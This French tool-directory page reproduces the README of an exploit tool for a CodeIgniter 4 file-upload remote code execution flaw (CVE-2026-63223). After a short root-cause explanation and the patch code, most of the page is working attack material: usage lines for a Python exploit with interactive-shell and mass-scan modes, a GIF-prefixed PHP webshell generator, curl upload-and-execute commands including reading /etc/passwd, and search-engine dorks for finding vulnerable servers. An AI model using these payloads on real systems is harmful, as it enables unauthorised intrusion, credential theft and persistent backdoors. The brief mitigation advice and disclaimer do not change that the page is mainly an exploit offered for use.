Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-63223 — CVE-2026-63223 — CI4RCE : RCE par téléchargement de fichier is_image/mime_in dans CodeIgniter 4. Contournement des octets magiques (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4 | Kitploit
Outils/GitHubGitHub/shinthink/cve-2026-63223
Scanners de Vulnérabilités WebGénération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubshinthink/cve-2026-63223

CVE-2026-63223

CVE-2026-63223 — CI4RCE : RCE par téléchargement de fichier is_image/mime_in dans CodeIgniter 4. Contournement des octets magiques (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4

Voir le dépôt
16il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-63223 — RCE par téléchargement de fichier dans CodeIgniter 4

Contournement des octets magiques → is_image/mime_in → Webshell PHP → RCE


Vue d'ensemble

CVE-2026-63223 est une vulnérabilité d'exécution de code à distance (RCE) non authentifiée, d'une sévérité critique (CVSS 9.8), dans CodeIgniter 4, un framework web PHP full-stack, affectant les versions antérieures à 4.7.4.

La vulnérabilité exploite les règles de validation de téléchargement de fichiers is_image et , qui inspectent (octets magiques) sans valider l'extension du nom de fichier fournie par le client. Un attaquant préfixe des octets magiques d'image (en-têtes GIF89a, JPEG, PNG) à du code PHP, nomme le fichier , franchit la validation et obtient une RCE lorsque le fichier aboutit dans un répertoire accessible via le web où le PHP est exécuté.

mime_in
uniquement le type MIME dérivé du contenu
shell.php

CVSS : 9.8 CRITIQUE — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Découverte : 31 juillet 2026 | Avis : GHSA-mmj4-63m4-r6h5 Corrigé : CodeIgniter 4 v4.7.4

Versions affectées

VersionStatut
< 4.7.4Vulnérable
4.7.4+Corrigé

CWE : CWE-434 — Téléchargement sans restriction d'un fichier de type dangereux PoC de référence : imbas007/CVE-2026-63223-POC


Mécanisme de la vulnérabilité

Cause racine

La règle de validation is_image de CodeIgniter 4 applique Mimes::guessTypeFromExtension() à getExtension() — qui renvoie l'extension dérivée des octets magiques (p. ex. gif) — pour déterminer si le fichier est une image. L'extension du nom de fichier fournie par le client (getClientExtension(), p. ex. php) n'est jamais inspectée :

root@kitploit:~
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
    // ...
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    //      ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
    if (mb_strpos($type, 'image') !== 0) {
        return false;  // "image/gif" → passes!
    }
    return true;  // never checks getClientExtension() = "php"
}

Pourquoi cela fonctionne

  1. getExtension() ≠ getClientExtension() — la première dérive des octets magiques (gif), la seconde du nom de fichier client (php)
  2. La validation se fie aux octets, pas au nom — is_image passe car Mimes::guessTypeFromExtension("gif") renvoie image/gif
  3. Fichier enregistré sous le nom du client — $file->move($path, $file->getClientName()) conserve l'extension .php
  4. Aucune vérification croisée avant la v4.7.4 — aucune validation de la correspondance entre l'extension client et le type détecté
  5. Téléchargements accessibles via le web — les répertoires de téléchargement par défaut/publics servent directement les fichiers PHP

Déroulement de l'attaque

root@kitploit:~
1. Attacker generates PHP webshell with GIF89a header
   → file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
   → is_image validates: image/gif → PASS
   → File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
   → Apache passes .php to PHP-FPM → PHP executes
   → GIF89a output as plaintext, then <?php code runs
4. RCE as www-data

Le correctif (v4.7.4)

Le correctif ajoute hasInvalidImageClientExtension() — qui vérifie désormais également l'extension client :

root@kitploit:~
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    //                   ↑ NOW checks getClientExtension() = "php"!
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    //      ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
    return mb_strpos($type, 'image') !== 0;  // TRUE → REJECT!
}

Le changement clé : is_image valide désormais à la fois getExtension() (dérivée du contenu, pour la vérification effective de l'image) et getClientExtension() (fournie par le client, pour rejeter les extensions non-image comme .php).


Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests

Utilisation

root@kitploit:~
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar

# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"

# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell

# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php

# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20

Arguments

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -e, --endpoint     Vulnerable upload endpoint (default: /upload/avatar)
  --field FIELD      Upload form field name (default: avatar)
  --method {gif,jpg,png}  Magic bytes disguise (default: gif)
  --filename NAME    Shell filename (default: shell.php)
  -c, --command      Shell command to execute (default: id)
  --shell            Interactive pseudo-shell mode
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)

Preuve de concept

Cible unique

root@kitploit:~
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
root@kitploit:~
  Host          : ci4-app.com
  CodeIgniter 4 : YES
  Upload        : YES
  Shell URL     : http://ci4-app.com/uploads/shell.php
  RCE           : YES

  RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01

Exploitation manuelle (curl)

root@kitploit:~
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar

# Execute
curl http://target/uploads/evil.php?c=id

FOFA / Shodan

root@kitploit:~
FOFA:   body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"

Impact

Une exploitation réussie permet d'obtenir l'exécution de code à distance en tant qu'utilisateur du serveur web :

  • Exécuter des commandes système arbitraires
  • Accéder aux identifiants de base de données à partir des fichiers .env
  • Déployer des portes dérobées persistantes
  • Pivoter vers les réseaux internes
  • Défigurer ou compromettre l'application

Aucun compte ni authentification n'est nécessaire — les points de terminaison de téléchargement utilisant is_image/mime_in sans ext_in sont vulnérables par défaut.


Le correctif (v4.7.4)

  1. Mettre à niveau vers CodeIgniter 4 v4.7.4 ou une version ultérieure
  2. Solution de contournement : associer is_image/mime_in à la règle de validation ext_in
  3. Stocker les téléchargements hors de la racine web et les servir via un proxy readfile()
  4. Générer des noms de fichiers contrôlés par le serveur avec getRandomName()

Avertissement

UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TEST AUTORISÉ.

Ne pas utiliser contre des systèmes sans autorisation explicite. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.


Références

RessourceLien
Avis GitHubGHSA-mmj4-63m4-r6h5
PoC de référenceimbas007/CVE-2026-63223-POC
Entrée NVDCVE-2026-63223
CodeIgniter v4.7.4Journal des modifications
CWE-434Téléchargement sans restriction

Non affilié à la CodeIgniter Foundation.

Télécharger l’outil